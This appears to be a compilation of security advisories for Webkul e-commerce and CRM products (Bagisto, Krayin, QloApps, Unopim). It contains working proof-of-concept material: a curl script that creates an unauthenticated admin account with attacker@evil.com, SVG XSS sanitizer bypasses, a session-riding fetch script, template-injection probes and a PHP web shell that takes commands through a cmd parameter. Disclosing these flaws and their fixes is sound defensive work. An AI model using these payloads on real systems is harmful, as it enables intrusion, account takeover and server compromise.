Unrestricted Upload of File with Dangerous Type vulnerability in Webkul Medical Prescription Attachment Plugin for WooCommerce allows Upload a Web Shell to a Web Server. This issue affects Medical Prescription Attachment Plugin for WooCommerce: from n/a through 1.2.3.

An authenticated arbitrary file upload vulnerability in the /admin/tinymce/upload endpoint of Webkul Krayin CRM v2.2.x allows attackers to execute arbitrary code via uploading a crafted PHP file.

SQL injection vulnerability in Webkul Bundle Product 6.0.1 allows a remote attacker to execute arbitrary code via the idproduct parameters in the UpdateProductQuantity function.

Unrestricted file upload in the hotel review feature in QloApps versions 1.7.0 and earlier allows remote unauthenticated attackers to achieve remote code execution.

A Stored Cross-Site Scripting (XSS) vulnerability in Webkul Krayin CRM 1.3.0 allows remote attackers to inject arbitrary JavaScript code by submitting a malicious payload within the username field. This can lead to privilege escalation when the payload is executed, granting the attacker elevated permissions within the CRM system.

Summary SSTI when normal customer orders any product in add address step can inject value run in admin view. Details As normal user 1. Go to http://127.0.0.1:8000/ 2. Add order to cart and continue to checkout 3. In step of add address inject this value {{77}} in any input

As admin 1. Go to http://127.0.0.1:8000/admin/sales/orders 2. And notice the vlaue appear in admin view 49

As normal user 3. Go to add address normally http://127.0.0.1:8000/customer/account/addresses/create and inject {{77}} on it and will notice it appear 49 <img width="1868" height="868" alt="image" src="https://github.com/user-attachments/assets/279627e9-6361-4d39-a500-0fc20e163d25" />

PoC - Video attached with the report: https://github.com/user-attachments/assets/a814b30c-a3e2-4a40-8644-336e21e60d0d

Impact - Can lead to RCE

Bagisto Cross-Site Request Forgery vulnerability

A Client-side Template Injection (CSTI) vulnerability in Webkul Krayin CRM 1.3.0 allows remote attackers to execute arbitrary client-side template code by injecting a malicious payload during the lead creation process. This can lead to privilege escalation when the payload is executed, granting the attacker elevated permissions within the CRM system.

Vulnerable Code

File: packages/Ibkul/Installer/src/Routes/Ib.php

<?php

use Illuminate\\Session\\Middleware\\StartSession; use Illuminate\\Support\\Facades\\Route; use Ibkul\\Installer\\Http\\Controllers\\InstallerController;

Route::middleware(\['Ib', 'installer\locale'\])-\>group(function () { Route::controller(InstallerController::class)-\>group(function () { Route::get('install', 'index')-\>name('installer.index');

Route::middleware(StartSession::class)-\>prefix('install/api')-\>group(function () { Route::post('env-file-setup', 'envFileSetup')-\>name('installer.env\file\setup'); Route::post('run-migration', 'runMigration')-\>name('installer.run\migration')-\>withoutMiddleware('Ib'); Route::post('run-seeder', 'runSeeder')-\>name('installer.run\seeder')-\>withoutMiddleware('Ib'); Route::get('download-sample', 'downloadSample')-\>name('installer.download\sample')-\>withoutMiddleware('Ib'); Route::post('admin-config-setup', 'adminConfigSetup')-\>name('installer.admin\config\setup')-\>withoutMiddleware('Ib'); Route::post('sample-products-setup', 'createSampleProducts')-\>name('installer.sample\products\setup')-\>withoutMiddleware('Ib'); }); }); });

API routes remain active even after initial installation is complete, allowing any unauthenticated attacker to:

- Create admin accounts - Modify application configuration - Potentially overwrite existing data

the underlying API endpoints (/install/api/) are directly accessible and exploitable without any authentication. An attacker can bypass the Ib installer entirely by calling the API endpoints directly.

How to Reproduce

1. The Ib installer UI at http://localhost:8000/install has client-side protections 2. However, the API endpoints are directly exploitable: - The attack works by calling /install/api/admin-config-setup directly via curl/HTTP client - No CSRF token, session, or authentication is required - The Ib UI workflow is completely bypassed

Proof of Concept

#!/bin/bash PoC: Create admin account without authentication

TARGET="http://localhost:8000"

Create a new admin account curl -X POST "$TARGET/install/api/admin-config-setup" \ -H "Content-Type: application/json" \ -d '{ "adminname": "Attacker", "adminemail": "attacker@evil.com", "adminpassword": "HackedPassword123" }'

echo "" echo "New admin account created!" echo "Login at: $TARGET/admin" echo "Email: attacker@evil.com"

Expected Result

The API should reject unauthenticated requests with 401/403 status.

Actual Result

The API accepts the request and creates a new admin account, allowing full administrative access to the e-commerce platform.

Recommended Patch

Add installation completion check

// In InstallerController.php or a new middleware

public function construct() { // Check if application is already installed if (fileexists(basepath('.env')) && config('app.key') && \Schema::hasTable('admins') && \DB::table('admins')->count() > 0) { abort(404, 'Application already installed'); } }

A Broken Object-Level Authorization (BOLA) in the /Settings/UserController.php endpoint of Webkul Krayin CRM v2.2.x allows authenticated attackers to arbitrarily reset user passwords and perform a full account takeover via supplying a crafted HTTP request.

Joomla! Component Ajax Quiz 1.8 contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the cid parameter. Attackers can send GET requests to index.php with the option=comajaxquiz and view=ajaxquiz parameters to extract sensitive database information including table names and column structures.

Authorization Bypass Through User-Controlled Key in Bagisto

Bagisto 0.1.5 allows CSRF under /admin URIs.

Bagisto v1.5.1 is vulnerable to Server-Side Template Injection (SSTI).

Webkul QloApps does not perform proper validation on uploaded file extensions or MIME types before moving the file to a publicly accessible directory. A remote, authenticated attacker with administrative privileges could upload executable files and achieve remote code execution. Fixed in 153ec1c.

Webkul QloApps does not validate request parameters before a database query. A remote, authenticated attacker with administrative privileges could send a crafted SQL query to the 'boquery' parameter in the 'CustomerMessage.php' file. Fixed in 123c97c.

A Server-Side Request Forgery (SSRF) in the /settings/webhooks/create component of Webkul Krayin CRM v2.2.x allows attackers to scan internal resources via supplying a crafted POST request.

An authenticated stored XSS vulnerability exists in the Bagisto 2.3.6 admin panel's product creation path, allowing an attacker to upload a crafted SVG file containing malicious JavaScript code. This vulnerability can be exploited by an authenticated admin user to execute arbitrary JavaScript in the browser, potentially leading to session hijacking, data theft, or unauthorized actions.

Summary In Unopim, it is possible to create roles and choose the privileges. However, users without the “Delete” privilege for Products cannot delete a single product via the standard endpoint (expected behavior), but can still delete products via the mass-delete endpoint, even when the request contains only one product ID.

Severity: High CVSS Score 8.1 (CVSS 3.1 Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H) Category: Broken Access Control / Missing Authorization (OWASP A01:2021) Impact: Unauthorized product deletion -> data loss, possible business disruption

Affected Behavior Single delete (enforced): DELETE /admin/catalog/products/{id} returns 401 with "This action is unauthorized" for users lacking the Delete privilege.

Mass delete (not enforced): POST /admin/catalog/products/mass-delete allows deletion without the Delete privilege. This occurs for both multiple IDs and a single ID submitted to the bulk endpoint.

PoC A video was captured in Burp Suite for a proof of concept. The cookies were used directly from Burp Suite and rendered the My Account page to prove what cookies belong to what users. The video PoC is listed in references.

Impact Unauthorized product deletion -> data loss, possible business disruption

A Broken Object-Level Authorization (BOLA) in the /Contact/Persons/PersonController.php endpoint of Webkul Krayin CRM v2.2.x allows authenticated attackers to arbitrarily read, modify, and permanently delete any contact owned by other users via supplying a crafted GET request.

A Broken Object-Level Authorization (BOLA) in the /Controllers/Lead/LeadController.php endpoint of Webkul Krayin CRM v2.2.x allows authenticated attackers to arbitrarily read, modify, and permanently delete any lead owned by other users via supplying a crafted GET request.

Improper validation of the quantity parameter in the add-to-cart path of Webkul Bagisto v2.4.9 allows authenticated attackers to reduce their order total below the legitimate price of shippable goods.

Summary Affected Functionality: User creation Endpoint: /admin/settings/users/create

Details https://github.com/unopim/unopim/blob/a0dc81947a59ada69e19e1e4313dd591d4e277b4/packages/Webkul/Core/src/Traits/Sanitizer.php#L9-L19 See the mimetype is checked for validation. Mime-type is usually identified by analysing the first few bytes of the file content, which contains the File signature or Magic bytes for e.g. GIF file starts with GIF87a or GIF89a. We can mislead the sanitizer to think the uploaded file is gif ( based on magic byte provided ) while actually it is a .svg file.

File containing <svg> is considered as svg and is sanitized: !image Content-Disposition: form-data; name="image[]"; filename="poc.html" Content-Type: image/svg+xml

<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200" onload="alert(5)"> <rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect> <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text> </svg> !image

Sanitization bypass using MIME type manipulation: !image Content-Disposition: form-data; name="image[]"; filename="poc.html" Content-Type: image/svg+xml

GIF89a <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200" onload="alert(5)"> <rect width="200" height="200" fill="#3498db" onmouseover="alert('Hover')"></rect> <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text> </svg> !image

PoC Upload POC.html as image. File content: GIF89a <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 200 200" onload="alert(document.cookie)"> <rect width="200" height="200" fill="#3498db" onmouseover="alert(document.domain)"></rect> <text x="50%" y="50%" font-size="20" text-anchor="middle" dy=".3em" fill="white" >Proof of Concept</text> </svg> I changed extension to .html because even though POC.svg successfully bypassed the sanitization. When accessing the URL, the page didn't render as it should starts with <. !image !image Since html doesn't have any such limitation we can access it. Access the image URL to see the XSS popup. !image

Impact Suppose another admin visits the image link, the attacker can perform any operation as the victim. The session cookie is marked as http-only that disallow fetching cookies using javascript which is good thing. ( this prevent exfiltrating the cookie but still an attacker can perform any action behalf of the victim ) Example create a product behalf of victim.

John doe (default admin ) creates another admin ( victimadmin@test.com ) When the victim-admin logs in and access the endpoint containing stored XSS, the script runs on behalf of victm-admin and the product is created. !image !image // info shows that victim-admin created the product. Since this image can be accessed by other admins, it can be performed behalf on any admin. It'll be recorded as done by whoever visited the link. Please see the detailed POC video for more details: https://drive.proton.me/urls/KCKTSWHA3C#W2Zus8hWucj2

Extended POC for performing the action shown in video: POC.html: <html> <script> const url = 'http://localhost:8000/admin/catalog/products/create';

// Create a FormData object to hold the form data const formData = new FormData(); formData.append('type', 'simple'); formData.append('attributefamilyid', '1'); formData.append('sku', 'Created-by-ADMIN-VICTIM888');

// Define the headers const headers = { 'X-XSRF-TOKEN': 'eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0=', 'X-Requested-With': 'XMLHttpRequest', 'Accept': 'application/json, text/plain, /', 'Origin': 'http://localhost:8000', 'Referer': 'http://localhost:8000/admin/catalog/products', 'Cookie': 'XSRF-TOKEN=eyJpdiI6IkdyS2tOVGlXQWJYeXFnMEF5bjZ3S3c9PSIsInZhbHVlIjoibWhVOElsOFZtVUdqazVZS0d3S3RHNndRNGxSU0pSM0dpK3E4YmZrYXdOU0lBZ0dBK1BBZ1Jqc3VlQU5taUVGb1BtaVBOcFRrWllMS0xkVVJKWG1SMGtJeWtOU2JpTFFwVWNmMG1ZeC9TZ3RMZjR0ajkrSUZCTDlTNGsrOEtQbi8iLCJtYWMiOiJjODBmZTk3OTFhNzc2ZTQzNDhkMzNiNmU4ODk3ZTY5MGJiOTdmZTNhYmJkNzhhZDk3ZjgxOGE4ZGFlNDFmN2EzIiwidGFnIjoiIn0%3D; unopimsession=eyJpdiI6Ii9MTnNiMEJhNnZGZWVGaGQvbWdkUkE9PSIsInZhbHVlIjoiczJnZmczekRrTHMzN1phc1lmM1I0K1BkRGhRK3llOCtLcnpXODUwQnNrMWJUK29ab2Z0TDdYOUJaa3hxSGFsRzRpK1o0bGFTcTJ1N3J4QkhaYmxNRGdNNnpLUDFnYXl3QzdLNDJCQWRqbExnZ1dURGlyZW5UTWdycWlLQkFRc0oiLCJtYWMiOiJiNjNiZmM0ZjUxMTNlOTZmZGFiNzcxYzRkZDAwYTE3MGM5OTcxNWUyYTYzYjQ4ZGY5ZDkzYTdiZDJlNjUyNWQwIiwidGFnIjoiIn0%3D' };

// Send the POST request fetch(url, { method: 'POST', headers: headers, body: formData, credentials: 'include' // Include cookies in the request }) .then(response => { if (!response.ok) { throw new Error('Network response was not ok ' + response.statusText); } return response.json(); // Assuming the response is JSON }) .then(data => { console.log('Success:', data); }) .catch(error => { console.error('Error:', error); }); </script> <html> // make sure to update the cookies and CSRF tokens in the script to the attacker's.

Recommendation: Check file extension: whitelist allowed extensions. Check mime type matches with file extension ( in this case GIF89 ( mime type GIF ) and extension: svg. They are not matching so reject it. Check file extension ( endswith .svg ) and if it is svg then perform the sanitization that is in place.

Affected Version: 0.1.6 !image

An arbitrary file upload vulnerability in Uvdesk 1.1.3 allows attackers to execute arbitrary code via uploading a crafted image file.

An unauthenticated Time-Based SQL injection found in Webkul QloApps 1.6.0 via GET parameter datefrom, dateto, and idproduct allows a remote attacker to bypass a web application's authentication and authorization mechanisms and retrieve the contents of an entire database.

Summary SSTI is possible via first name and last name parameters provided by lowest-privileged users. Details 1. Go to http://127.0.0.1:8000/ and login or signup 2. Go to http://127.0.0.1:8000/customer/account/profile 3. Now edit the first name and last name to {{77}} 4. Notice it appears as 49

POC - Video attached with the report: https://github.com/user-attachments/assets/f93932b5-2a57-4f34-897e-4151a5168912

Impact This can lead to RCE, command injection.

Summary A vulnerability exists in the Create User process, allowing the creation of a new admin account with an option to upload a profile image. An attacker can upload a malicious SVG file containing an embedded script. When the profile image is accessed, the embedded script executes, leading to the potential theft of session cookies.

Details 1. Login as admin 2. Go to Create User 3. Fill up everything in the registration form then upload SVG image as a profile picture 4. In SVG image, add script tag to prepare for XSS attack 5. Complete the Create User process 6. Right click at the image to obtain image URL address 7. XSS triggered PoC The below link is a private YouTube video for PoC. https://youtu.be/5j8owD0--1A

Impact The stored XSS can lead to session hijacking and privilege escalation, effectively bypassing any CSRF protections in place.

Summary: Affected Functionality: Image upload at User creation Endpoint: /admin/settings/users/create

Details The image upload at the user creation feature performs only client side file type validation. A user can capture the request by uploading an image, capture the request through a Proxy like Burp suite. Make changes to the file extension and content. The .php file when accessed through the link runs the code we provided inside the file.

Modified part of the multipart request body: Content-Disposition: form-data; name="image[]"; filename="poc.php" Content-Type: application/x-php

<?php if(isset($REQUEST['cmd'])){ $cmd = ($REQUEST['cmd']); system($cmd); die; }?>

PoC 1. Upload an image file as profile picture during user creation , now capture the request and modify. File content: <?php if(isset($REQUEST['cmd'])){ $cmd = ($REQUEST['cmd']); system($cmd); die; }?> File name: poc.php Content-Type can be any, doesn't matter. 2. Access the uploaded file e.g. http://localhost:8000/storage/admins/21/poc.php?cmd=ls // pass the command to run as parameter value for cmd, example running ls command on the system

Likewise a reverse shell code ( reverse shell of other languages ) can be executed to create a connection to attacker controlled system.

Impact Every user in the dashboard is allowed to change their profile picture, thus allowing any of these users to execute malicious actions at the Server level. Usually a server might host multiple applications, allowing execution of system commands allows complete control of the system. The impact of an RCE vulnerability can be full system compromise, access to database and filesystem, access other sensitive devices on the network. Please see the POC video: https://drive.proton.me/urls/PH1ESMKHMW#4Vxb2KNu3tmn

Recommendation: Extension Validation: Whitelist allowed extensions. ( use endswith() check rather than contains() as an attacker can bypass such a restriction with filename: poc.jpg.php

Summary SSTI is possible in Bagisto via type parameter can lead to RCE and other exploitations.

Details 1. Go to http://127.0.0.1:8000/admin/reporting/products/view?type={{77}}

<img width="1251" height="282" alt="image" src="https://github.com/user-attachments/assets/652e96f4-631e-4322-8561-63f4d897a480" />

Impact Can lead to RCE, command injection.

An arbitrary file upload vulnerability in Webkul Qloapps v1.6.0.0 allows attackers to execute arbitrary code via uploading a crafted file.